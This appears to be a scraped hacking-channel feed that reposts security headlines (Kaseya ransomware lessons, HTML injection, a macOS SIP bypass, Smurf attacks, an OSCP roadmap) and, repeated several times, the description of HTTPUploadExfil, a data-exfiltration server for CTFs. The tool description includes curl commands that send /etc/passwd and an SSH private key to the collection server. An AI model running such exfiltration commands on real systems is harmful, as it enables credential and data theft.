Hacking Articles Tips Tricks Videos Tutorials
Photo
Dark Reading: Attacks/Breaches
3 Security Lessons Learned From the Kaseya Ransomware Attack
Organizations can better prepare themselves and their customers for these attacks with some strategies to identify threats before they become a widespread issue.
___________________________
@hacking_Attack
@Hacking_Video
3 Security Lessons Learned From the Kaseya Ransomware Attack
Organizations can better prepare themselves and their customers for these attacks with some strategies to identify threats before they become a widespread issue.
___________________________
@hacking_Attack
@Hacking_Video
Dark Reading
3 Security Lessons Learned From the Kaseya Ransomware Attack
Organizations can better prepare themselves and their customers for these attacks with some strategies to identify threats before they become a widespread issue.
Content Spoofing! Yes HTML Injection
https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057?source=rss------bug_bounty-5
___________________________
@hacking_Attack
@Hacking_Video
Medium
Content Spoofing! Yes HTML Injection
Hey everyone this is Aswin Govind. This time it is HTML Injection which is also referred in Content spoofing, also referred to as content…
Hey everyone this is Aswin Govind. This time it is HTML Injection which is also referred in Content spoofing, also referred to as content…Continue reading on Medium » (https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
Content Spoofing! Yes HTML Injection
Hey everyone this is Aswin Govind. This time it is HTML Injection which is also referred in Content spoofing, also referred to as content…
Microsoft finds new macOS vulnerability, Shrootless, that could bypass System Integrity Protection
https://www.reddit.com/r/redteamsec/comments/qhu5qw/microsoft_finds_new_macos_vulnerability/
submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/NewmacOSVulnerability) [comments] (https://www.reddit.com/r/redteamsec/comments/qhu5qw/microsoft_finds_new_macos_vulnerability/)
___________________________
@hacking_Attack
@Hacking_Video
https://www.reddit.com/r/redteamsec/comments/qhu5qw/microsoft_finds_new_macos_vulnerability/
submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/NewmacOSVulnerability) [comments] (https://www.reddit.com/r/redteamsec/comments/qhu5qw/microsoft_finds_new_macos_vulnerability/)
___________________________
@hacking_Attack
@Hacking_Video
reddit
Microsoft finds new macOS vulnerability, Shrootless, that could...
Posted in r/redteamsec by u/SCI_Rusher • 2 points and 0 comments
hacking: security in practice
Is this is possible?
sorry if this is a stupid question, i dont know anything about hacking or servers
but lets say someone makes a server for minecraft (or any game) and they invite people to join
is it possible to send malicious stuff to the people through the server as you are the owner?
does the game client only listen to data from the server thats only related to the game?
submitted by /u/stebgay
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Is this is possible?
sorry if this is a stupid question, i dont know anything about hacking or servers
but lets say someone makes a server for minecraft (or any game) and they invite people to join
is it possible to send malicious stuff to the people through the server as you are the owner?
does the game client only listen to data from the server thats only related to the game?
submitted by /u/stebgay
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Is this is possible?
sorry if this is a stupid question, i dont know anything about hacking or servers but lets say someone makes a server for minecraft (or any...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
DefenseArk #ThreatIntelThursday | Smurf Attacks
https://cdn-images-1.medium.com/max/1920/1*pTebSw9McDpelxJSsn3ojQ.png
By: Ted Udelson
Continue reading on OpenAVN »
___________________________
@hacking_Attack
@Hacking_Video
DefenseArk #ThreatIntelThursday | Smurf Attacks
https://cdn-images-1.medium.com/max/1920/1*pTebSw9McDpelxJSsn3ojQ.png
By: Ted Udelson
Continue reading on OpenAVN »
___________________________
@hacking_Attack
@Hacking_Video
Medium
DefenseArk #ThreatIntelThursday | Smurf Attacks
By: Ted Udelson
Hacking Articles Tips Tricks Videos Tutorials
Photo
Hacking on Medium
Complete Roadmap to OSCP for Beginners
https://cdn-images-1.medium.com/max/1920/1*9EQPhGJmuR_f4bD-mVZbKw.png
Hi Readers, in this blog of mine I’m gonna discuss how can you follow the steps and become OSCP certified in a properly planned and…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Complete Roadmap to OSCP for Beginners
https://cdn-images-1.medium.com/max/1920/1*9EQPhGJmuR_f4bD-mVZbKw.png
Hi Readers, in this blog of mine I’m gonna discuss how can you follow the steps and become OSCP certified in a properly planned and…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Complete Roadmap to OSCP for Beginners
Hi Readers, in this blog of mine I’m gonna discuss how can you follow the steps and become OSCP certified in a properly planned and…
HTTPUploadExfil - A Simple HTTP Server For Exfiltrating Files/Data During, For Example, CTFs
HTTPUploadExfil is a (very) simple HTTP server written in Go that's useful for getting files (and other information) off a machine using HTTP. While there are many use-cases, it's meant to be used in low-stakes offensive scenarios (e.g., CTFs). Think of this as python3 -m http.server but for getting data off a machine instead of on the machine. Obviously, this is a very loud and somewhat restricted way of exfiltrating data. Nevertheless, it's quite handy and somewhat easier than, for example, using SMB or FTP. If you are looking for something more elegant, have a look at, for example, dnsteal or PyExfil.TL;DR Build the tool using go build. Run ./httpuploadexfil :1337 /home/kali/loot on your machine. Access http://YOUR_IP:1337/ on the machine you need to exfiltrate data from. Find your uploaded files in /home/kali/loot. If you need HTTPs, look at the information below. Building and Developing While there are binaries available, it's absolutely recommended to build this on your own. This way, you will have the newest version, and you will also know exactly what you're running. The process is trivial: Simply run go build within the folder, and you should get an httpuploadexfil executable for your platform. If you make changes to the tool, remember to format using go fmt main.go. Usage The most common use case would be to run the server on Machine A. Now, on Machine B you access the upload form using a browser and select a file to exfiltrate. Of course, as you can see below, this can also be done using, for example, curl. Aside from uploading files, you can also use HTTPUploadExfil to exfiltrate data using simple GET requests. If a request is sent to the \g endpoint, the whole request will be stored to disk. Hence, you can exfiltrate data using the header of the request. It's easiest to use GET parameters (e.g., ?data=...), but there are other options. By default, HTTPUploadExfil will be served on port 8080. All files will be written to the current directory. ./httpuploadexfil You can also provide some arguments: ./httpuploadexfil :1337 /home/kali/loot The first argument is a bind address, the second one the folder to store files in. The tool will also expose the files in the loot directory under the /l endpoint. This can be used as an easy way to bring files onto the target. Endpoints The webserver exposes four endpoints for you to use: / (GET) is the upload form. /p (POST) takes the data from the upload form. It requires a multipart/form-data request with the file field filled. /g (GET) will take any GET request and store the full request on the server. /l (GET) will provide access to files in the specified folder (Directory Listing). This is to provide basic python3 -m http.server functionality. HTTPs Mode HTTPUploadExfil can also be used in HTTPs mode. To do so, simply place a HTTPUploadExfil.csr and HTTPUploadExfil.key file next to the binary. These can be, for example, generated as follows: openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csropenssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr If the servers sees a HTTPUploadExfil.csr file, it will try to start in HTTPs mode. To go back to HTTP, simply remove or rename the certificate files. Shell Using Bash, we can exfil data using GET via, for example: echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g Of course, we can also use curl to exfil files: curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p ToDo Implement an HTTPs version (Transport Encryption) Add download option (i.e., provide python3 -m http.server functionality) Download HTTPUploadExfil
Read more...
___________________________
@hacking_Attack
@Hacking_Video
HTTPUploadExfil is a (very) simple HTTP server written in Go that's useful for getting files (and other information) off a machine using HTTP. While there are many use-cases, it's meant to be used in low-stakes offensive scenarios (e.g., CTFs). Think of this as python3 -m http.server but for getting data off a machine instead of on the machine. Obviously, this is a very loud and somewhat restricted way of exfiltrating data. Nevertheless, it's quite handy and somewhat easier than, for example, using SMB or FTP. If you are looking for something more elegant, have a look at, for example, dnsteal or PyExfil.TL;DR Build the tool using go build. Run ./httpuploadexfil :1337 /home/kali/loot on your machine. Access http://YOUR_IP:1337/ on the machine you need to exfiltrate data from. Find your uploaded files in /home/kali/loot. If you need HTTPs, look at the information below. Building and Developing While there are binaries available, it's absolutely recommended to build this on your own. This way, you will have the newest version, and you will also know exactly what you're running. The process is trivial: Simply run go build within the folder, and you should get an httpuploadexfil executable for your platform. If you make changes to the tool, remember to format using go fmt main.go. Usage The most common use case would be to run the server on Machine A. Now, on Machine B you access the upload form using a browser and select a file to exfiltrate. Of course, as you can see below, this can also be done using, for example, curl. Aside from uploading files, you can also use HTTPUploadExfil to exfiltrate data using simple GET requests. If a request is sent to the \g endpoint, the whole request will be stored to disk. Hence, you can exfiltrate data using the header of the request. It's easiest to use GET parameters (e.g., ?data=...), but there are other options. By default, HTTPUploadExfil will be served on port 8080. All files will be written to the current directory. ./httpuploadexfil You can also provide some arguments: ./httpuploadexfil :1337 /home/kali/loot The first argument is a bind address, the second one the folder to store files in. The tool will also expose the files in the loot directory under the /l endpoint. This can be used as an easy way to bring files onto the target. Endpoints The webserver exposes four endpoints for you to use: / (GET) is the upload form. /p (POST) takes the data from the upload form. It requires a multipart/form-data request with the file field filled. /g (GET) will take any GET request and store the full request on the server. /l (GET) will provide access to files in the specified folder (Directory Listing). This is to provide basic python3 -m http.server functionality. HTTPs Mode HTTPUploadExfil can also be used in HTTPs mode. To do so, simply place a HTTPUploadExfil.csr and HTTPUploadExfil.key file next to the binary. These can be, for example, generated as follows: openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csropenssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr If the servers sees a HTTPUploadExfil.csr file, it will try to start in HTTPs mode. To go back to HTTP, simply remove or rename the certificate files. Shell Using Bash, we can exfil data using GET via, for example: echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g Of course, we can also use curl to exfil files: curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p ToDo Implement an HTTPs version (Transport Encryption) Add download option (i.e., provide python3 -m http.server functionality) Download HTTPUploadExfil
Read more...
___________________________
@hacking_Attack
@Hacking_Video
HTTPUploadExfil - A Simple HTTP Server For Exfiltrating Files/Data During, For Example, CTFs
http://www.kitploit.com/2021/10/httpuploadexfil-simple-http-server-for.html
___________________________
@hacking_Attack
@Hacking_Video
http://www.kitploit.com/2021/10/httpuploadexfil-simple-http-server-for.html
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Kitploit – Maintenance in Progress
Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.
HTTPUploadExfil is a (very) simple HTTP server written in Go that's useful for getting files (and other information) off a machine using HTTP. While there are many use-cases, it's meant to be used in low-stakes offensive scenarios (e.g., CTFs). Think of this as python3 -m http.server but for getting data off a machine instead of on the machine. Obviously, this is a very loud and somewhat restricted way of exfiltrating data. Nevertheless, it's quite handy and somewhat easier than, for example, using SMB or FTP. If you are looking for something more elegant, have a look at, for example, dnsteal or PyExfil.
TL;DR
Build the tool using go build. Run ./httpuploadexfil :1337 /home/kali/loot on your machine. Access http://YOUR_IP:1337/ on the machine you need to exfiltrate data from. Find your uploaded files in /home/kali/loot. If you need HTTPs, look at the information below.
Building and Developing
While there are binaries available, it's absolutely recommended to build this on your own. This way, you will have the newest version, and you will also know exactly what you're running. The process is trivial: Simply run go build within the folder, and you should get an httpuploadexfil executable for your platform. If you make changes to the tool, remember to format using go fmt main.go.
Usage
The most common use case would be to run the server on Machine A. Now, on Machine B you access (https://www.kitploit.com/search/label/Access) the upload form using a browser and select a file to exfiltrate. Of course, as you can see below, this can also be done using, for example, curl. Aside from uploading files, you can also use HTTPUploadExfil to exfiltrate data using simple GET requests. If a request is sent to the \g endpoint, the whole request will be stored to disk. Hence, you can exfiltrate data using the header of the request. It's easiest to use GET parameters (https://www.kitploit.com/search/label/GET%20parameters) (e.g., ?data=...), but there are other options.
___________________________
@hacking_Attack
@Hacking_Video
TL;DR
Build the tool using go build. Run ./httpuploadexfil :1337 /home/kali/loot on your machine. Access http://YOUR_IP:1337/ on the machine you need to exfiltrate data from. Find your uploaded files in /home/kali/loot. If you need HTTPs, look at the information below.
Building and Developing
While there are binaries available, it's absolutely recommended to build this on your own. This way, you will have the newest version, and you will also know exactly what you're running. The process is trivial: Simply run go build within the folder, and you should get an httpuploadexfil executable for your platform. If you make changes to the tool, remember to format using go fmt main.go.
Usage
The most common use case would be to run the server on Machine A. Now, on Machine B you access (https://www.kitploit.com/search/label/Access) the upload form using a browser and select a file to exfiltrate. Of course, as you can see below, this can also be done using, for example, curl. Aside from uploading files, you can also use HTTPUploadExfil to exfiltrate data using simple GET requests. If a request is sent to the \g endpoint, the whole request will be stored to disk. Hence, you can exfiltrate data using the header of the request. It's easiest to use GET parameters (https://www.kitploit.com/search/label/GET%20parameters) (e.g., ?data=...), but there are other options.
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.
By default, HTTPUploadExfil will be served on port 8080. All files will be written to the current directory. ./httpuploadexfil You can also provide some arguments: ./httpuploadexfil :1337 /home/kali/loot The first argument is a bind (https://www.kitploit.com/search/label/BIND) address, the second one the folder to store files in. The tool will also expose the files in the loot directory under the /l endpoint. This can be used as an easy way to bring files onto the target.
Endpoints
The webserver exposes four endpoints (https://www.kitploit.com/search/label/Endpoints) for you to use: / (GET) is the upload form. /p (POST) takes the data from the upload form. It requires a multipart/form-data request with the file field filled. /g (GET) will take any GET request and store the full request on the server. /l (GET) will provide access to files in the specified folder (Directory Listing). This is to provide basic python3 -m http.server functionality.
HTTPs Mode
HTTPUploadExfil can also be used in HTTPs mode. To do so, simply place a HTTPUploadExfil.csr and HTTPUploadExfil.key file next to the binary. These can be, for example, generated as follows: openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr If the servers sees (https://www.kitploit.com/search/label/SEES) a HTTPUploadExfil.csr file, it will try to start in HTTPs mode. To go back to HTTP, simply remove or rename the certificate files.
Shell
Using Bash, we can exfil data using GET via, for example: echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g Of course, we can also use curl to exfil files: curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
ToDo
Implement an HTTPs version (Transport Encryption) Add download option (i.e., provide python3 -m http.server functionality)
Download HTTPUploadExfil (https://github.com/IngoKl/HTTPUploadExfil)
___________________________
@hacking_Attack
@Hacking_Video
Endpoints
The webserver exposes four endpoints (https://www.kitploit.com/search/label/Endpoints) for you to use: / (GET) is the upload form. /p (POST) takes the data from the upload form. It requires a multipart/form-data request with the file field filled. /g (GET) will take any GET request and store the full request on the server. /l (GET) will provide access to files in the specified folder (Directory Listing). This is to provide basic python3 -m http.server functionality.
HTTPs Mode
HTTPUploadExfil can also be used in HTTPs mode. To do so, simply place a HTTPUploadExfil.csr and HTTPUploadExfil.key file next to the binary. These can be, for example, generated as follows: openssl req -new -newkey rsa:2048 -nodes -keyout HTTPUploadExfil.key -out HTTPUploadExfil.csr
openssl x509 -req -days 365 -in HTTPUploadExfil.csr -signkey HTTPUploadExfil.key -out HTTPUploadExfil.csr If the servers sees (https://www.kitploit.com/search/label/SEES) a HTTPUploadExfil.csr file, it will try to start in HTTPs mode. To go back to HTTP, simply remove or rename the certificate files.
Shell
Using Bash, we can exfil data using GET via, for example: echo "data=`cat /etc/passwd`" | curl -d @- http://127.0.0.1:8080/g Of course, we can also use curl to exfil files: curl -F file=@/home/kali/.ssh/id_rsa http://127.0.0.1:8080/p
ToDo
Implement an HTTPs version (Transport Encryption) Add download option (i.e., provide python3 -m http.server functionality)
Download HTTPUploadExfil (https://github.com/IngoKl/HTTPUploadExfil)
___________________________
@hacking_Attack
@Hacking_Video
KitPloit - PenTest & Hacking Tools
Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.
KitPloit - PenTest Tools!
HTTPUploadExfil - A Simple HTTP Server For Exfiltrating Files/Data During, For Example, CTFs
___________________________
@hacking_Attack
@Hacking_Video
HTTPUploadExfil - A Simple HTTP Server For Exfiltrating Files/Data During, For Example, CTFs
___________________________
@hacking_Attack
@Hacking_Video
Kitploit
Kitploit – Maintenance in Progress
Kitploit is temporarily under maintenance. We’ll be back shortly with improvements.